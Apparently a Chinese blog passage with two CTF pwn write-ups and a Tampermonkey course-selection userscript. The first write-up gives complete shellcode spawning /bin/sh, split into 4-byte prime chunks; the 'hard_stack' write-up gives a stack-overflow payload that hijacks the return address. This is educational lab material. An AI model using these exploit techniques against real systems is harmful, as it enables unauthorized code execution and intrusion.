.text:0000000000400623                 add     rsp, 1056
.text:000000000040062A                 xor     eax, eax
.text:000000000040062C                 pop     rbx
.text:000000000040062D                 pop     rbp
.text:000000000040062E                 pop     r12
.text:0000000000400630                 retn
.text:0000000000400630 ; } // starts at 400560
.text:0000000000400630 main            endp

先观察rbp，其最后一次被改变是在 0x000000000040057D ，

lea     rbp, [rsp+32]

这也是将buffer的地址加载到rbp里

再继续分析流程，_scanf 读入一个4字节无符号整数到rsi寄存器中存储的地址，即上一步r12的地址（涉及的代码如下），

lea     r12, [rsp+28]
...
mov     rsi, r12

若输入非空则将那个数传给edi和地址 [rsp+12] ，并代入函数 _Z6millerx 做判断。判断成功则把那个数传给edx并写入 [rsp+rax*4+32] ，即buffer

总结一下，即只有被该程序判定为质数的4字节无符号整数才能被存入buffer并在输入为空后被执行，即我们得让shellcode可以被分成许多4字节质数输入内存。

构造shellcode

有用的网站：Online x86 / x64 Assembler and Disassembler

要用syscall调用shell，各个寄存器的值应是：

rax : 0x3b (系统调用号)
rdi : rsp的地址 (先要把/bin//sh压入栈顶)
rdx : 0
rsi : 0

可以考虑将shellcode分解成一系列小片段，较少连续性，易于形成质数。

注意：程序为小端序，shellcode执行也是从低地址到高地址，因此对应整数是倒过来看的

例如下面：

    cdq         ;0x99
    push rdx    ;0x52
    cdq         ;0x99
    pop rsi     ;0x5e

    ;对应的就是0x5e995299

下面是作者找到的一些质数对应的汇编代码，基本覆盖全面

    cdq
    push rdx
    cdq
    pop rsi

    cdq
    xor rax,rax

    cdq
    cdq
    push rdx
    cdq

    cdq
    push rdx
    pop rdi
    push rdx

    pop rdi
    pop rdi
    pop r9

    shl r9,0x20

    cdq
    shr r9,1

    ;2 int
    cdq
    nop
    mov r9d,0x68732f2f

    ;3 int
    pop rdi
    cdq
    nop
    add r9d,0x6e69622f
    cdq
    nop

    ;3
    pop rdi
    mov dl,0x0c
    add r9,0x6e69622f
    cdq
    nop

    cdq
    push r9
    nop

    cdq
    pop r10
    nop

    cdq
    add rdi,r9

    cdq
    push rsp
    mov dl,0x16

    syscall
    mov dl,0x5

    mov bl,0x2
    mov al,0x3b

寻找技巧

多运用单字节、双字节的字节码，如:

cdq       ;0x99
nop       ;0x90
pop rdi   ;0x5f
push r9   ;0x41 0x51

对一些需要凑成两到三个质数的可以用特定指令进行爆破

mov dl,0x??   ;0xb2 0x??  ??相同
;同理，可以是bl等，但需是无用的寄存器

完整shellcode

    cdq
    push rdx
    cdq
    pop rsi

    cdq
    push rdx
    pop rdi
    push rdx

    cdq
    nop
    mov r9d,0x68732f2f

    cdq
    shr r9,1

    cdq
    shr r9,1

    cdq
    shr r9,1

    cdq
    shr r9,1

    cdq
    shr r9,1

    cdq
    shr r9,1

    cdq
    shr r9,1

    cdq
    shr r9,1

    shl r9,0x20

    pop rdi
    mov dl,0x0c
    add r9,0x6e69622f
    cdq
    nop

    cdq
    push r9
    nop

    cdq
    push rsp
    mov dl,0x16

    pop rdi
    cdq
    nop
    add r9d,0x6e69622f
    cdq
    nop

    cdq
    xor rax,rax

    mov bl,0x2
    mov al,0x3b

    syscall
    mov dl,0x5

基于油猴的sep选课脚本安装使用

2024-02-26T04:06:30.000Z

本人上学期有两门课因为找了半天课在哪没选到课（火大😤），决定写一个帮选的脚本（只是相当于ctrl+F），即在进入选课界面后立即选好所有要选的课程，只需填入验证码并提交

下载油猴

油猴（Tampermonkey）是一个浏览器插件，可以用本地脚本修改被访问网页。

官网介绍

它允许用户自定义并增强您最喜爱的网页的功能。用户脚本是小型 JavaScript 程序，可用于向网页添加新功能或修改现有功能。使用篡改猴，您可以轻松在任何网站上创建、管理和运行这些用户脚本。

例如，使用篡改猴，您可以向网页添加一个新按钮，可以快速在社交媒体上分享链接，或自动填写带有个人信息的表格。在数字化时代，这特别有用，因为网页常常被用作访问广泛的服务和应用程序的用户界面。

1.edge浏览器方法

点击右上角的三个点，选择扩展，点击 管理扩展

然后划到最底下，点击 获取 Microsoft Edge 扩展，在搜索框里搜索 Tampermonkey

找到下面这个就是（我的已经下载过了）

下载好后在浏览器导航栏点击扩展小图标，让它在工具栏里显示

2.其他浏览器

可以参考下面这几篇文章

油猴（Tampermonkey）安装教程

Tampermonkey油猴插件——安装与使用教程

最强浏览器插件：油猴脚本的安装及使用教程

安装并使用选课脚本

点击导航栏上的小图标，点击添加新脚本，把原有默认的所有代码都删掉，将下面代码复制粘贴进去并保存

// ==UserScript==
// @name         sep选课助手
// @namespace    https://gitee.com/dx3906999
// @version      2024-02-06
// @description  sep自动选择想选课程
// @author       dx3906999
// @match        https://xkcts.ucas.ac.cn/courseManageBachelor/selectCourse*
// @icon         data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==
// @grant        none
// ==/UserScript==

(function() {
    'use strict';
    var class_checkbox_elements=document.getElementsByName("sids");
    
    var class_ids=new Array();
    for (var i=0;i<class_checkbox_elements.length;i++){
        class_ids[i]=class_checkbox_elements[i].value;
    };

    var class_codes=new Array();
    for (var j=0;j<class_checkbox_elements.length;j++){
        class_codes[j]=document.getElementById("courseCode_"+class_ids[j]).textContent;
    }

    var sep_helper_str="B02GB003Y-03"//改成课程编号，格式是课程编号中间用空格连接

/*例子:

    var sep_helper_str="B02GB003Y-04 B02GB003Y-03 B02GB003Y-05"

*/

    var classes_selected=sep_helper_str.split(" ");
    var class_index;
    for (var k=0;k<classes_selected.length;k++){
        class_index=class_codes.indexOf(classes_selected[k]);
        if (class_index!=-1) {
            class_checkbox_elements[class_index].checked=true;
        }
        
    }

})();

使用时按中间那项说明修改代码即可

记一道校内pwn题——hard_stack

2024-02-25T13:09:26.000Z

日常刷刷题

先 checksec 一下

┌──(kali㉿helloeveryone)-[~/ctf/pwn/q20_hardstack]
└─$ checksec --file=hard_stack
[*] '/home/kali/ctf/pwn/q20_hardstack/hard_stack'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

没有金丝雀, 地址随机化, 用户栈不可执行

再丢进ida看眼，F5一下

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *stream; // [rsp+18h] [rbp-8h]

  setvbuf(stdout, 0LL, 2, 0LL);
  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    puts("Something wrong with flag file.");
    exit(0);
  }
  fgets(s, 64, stream);//将字符串读到s中
  sub_400acd();
  puts("Bye~");
  return 0;
}

sub_400acd:

ssize_t sub_400acd()
{
  ssize_t result; // rax
  char buf[45]; // [rsp+Fh] [rbp-31h] BYREF
  int i; // [rsp+3Ch] [rbp-4h]

  puts("Who are you?");
  for ( i = 0; ; ++i )
  {
    result = read(0, buf, 1uLL);                //一次从缓冲区读一个字节
    if ( result != 1 )
      break;
    result = (unsigned __int8)buf[0];
    if ( buf[0] == '\n' )
      break;
    buf[i + 1] = buf[0];                        // 漏洞:只要没有读入换行符或EOF就会一直读，造成栈溢出
  }
  return result;                                // 可以劫持程序流程
}

在ida里看看其他函数

找到一个获得flag的函数 sub_40076d

int sub_40067d()
{
  return puts(s);                               //s即为刚刚读取flag的字符串地址
}

现在可以分析一下漏洞函数 sub_400acd 的栈了

-0000000000000040                 db ? ; undefined
-000000000000003F                 db ? ; undefined
-000000000000003E                 db ? ; undefined
-000000000000003D                 db ? ; undefined
-000000000000003C                 db ? ; undefined
-000000000000003B                 db ? ; undefined
-000000000000003A                 db ? ; undefined
-0000000000000039                 db ? ; undefined
-0000000000000038                 db ? ; undefined
-0000000000000037                 db ? ; undefined
-0000000000000036                 db ? ; undefined
-0000000000000035                 db ? ; undefined
-0000000000000034                 db ? ; undefined
-0000000000000033                 db ? ; undefined
-0000000000000032                 db ? ; undefined
-0000000000000031 buf             db ?
-0000000000000030 var_30          db ?
-000000000000002F                 db ? ; undefined
-000000000000002E                 db ? ; undefined
-000000000000002D                 db ? ; undefined
-000000000000002C                 db ? ; undefined
-000000000000002B                 db ? ; undefined
-000000000000002A                 db ? ; undefined
-0000000000000029                 db ? ; undefined
-0000000000000028                 db ? ; undefined
-0000000000000027                 db ? ; undefined
-0000000000000026                 db ? ; undefined
-0000000000000025                 db ? ; undefined
-0000000000000024                 db ? ; undefined
-0000000000000023                 db ? ; undefined
-0000000000000022                 db ? ; undefined
-0000000000000021                 db ? ; undefined
-0000000000000020                 db ? ; undefined
-000000000000001F                 db ? ; undefined
-000000000000001E                 db ? ; undefined
-000000000000001D                 db ? ; undefined
-000000000000001C                 db ? ; undefined
-000000000000001B                 db ? ; undefined
-000000000000001A                 db ? ; undefined
-0000000000000019                 db ? ; undefined
-0000000000000018                 db ? ; undefined
-0000000000000017                 db ? ; undefined
-0000000000000016                 db ? ; undefined
-0000000000000015                 db ? ; undefined
-0000000000000014                 db ? ; undefined
-0000000000000013                 db ? ; undefined
-0000000000000012                 db ? ; undefined
-0000000000000011                 db ? ; undefined
-0000000000000010                 db ? ; undefined
-000000000000000F                 db ? ; undefined
-000000000000000E                 db ? ; undefined
-000000000000000D                 db ? ; undefined
-000000000000000C                 db ? ; undefined
-000000000000000B                 db ? ; undefined
-000000000000000A                 db ? ; undefined
-0000000000000009                 db ? ; undefined
-0000000000000008                 db ? ; undefined
-0000000000000007                 db ? ; undefined
-0000000000000006                 db ? ; undefined
-0000000000000005                 db ? ; undefined
-0000000000000004 var_4           dd ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

buf 和 var_30 占45字节，属于 buf[45] , var_4 则是变量 i

由此，可以有一种思路: 将 buf 溢出覆盖 i 实现栈上任意写

构造payload:

payload=b'a'*44+b'\x37'+b'\x42'

前44个a是垃圾占位字符，填充 -0000000000000030 到 -0000000000000005 (ps:因为 -0000000000000031 总是储存当前字符)

后面写一个 0x37 , 即将 i 改成55。这是考虑到for循环后要有 i++ , 即下一次写入的地址是 buf[(i++)+1] , 此地址即为 buf[57] = -0x31+0x39=0x8 , 就是返回地址的第一个字节

下面解释payload最后一字节:

首先，地址随机化只是进行页的随机化，一页的大小是 0x1000 , 也就是说同一页上地址的后三位不会改变。

其次，小端储存，是指以字节为单位，低数位储存在低地址，高数位储存在高地址。返回地址是 call _sub_400acd 指令的下一条，地址即 0x00000000000008D8 , 所以我们最后是将上述地址覆盖成 0x0000000000000842 , 这正是 sub_40067d() 的地址。这样我们就把程序劫持到该函数上打印flag

PS: 由于金丝雀是在栈上变量之后， rbp 和返回地址之前，我们可以通过数组索引避开金丝雀实现栈溢出，所以本题开了 canary 也可以做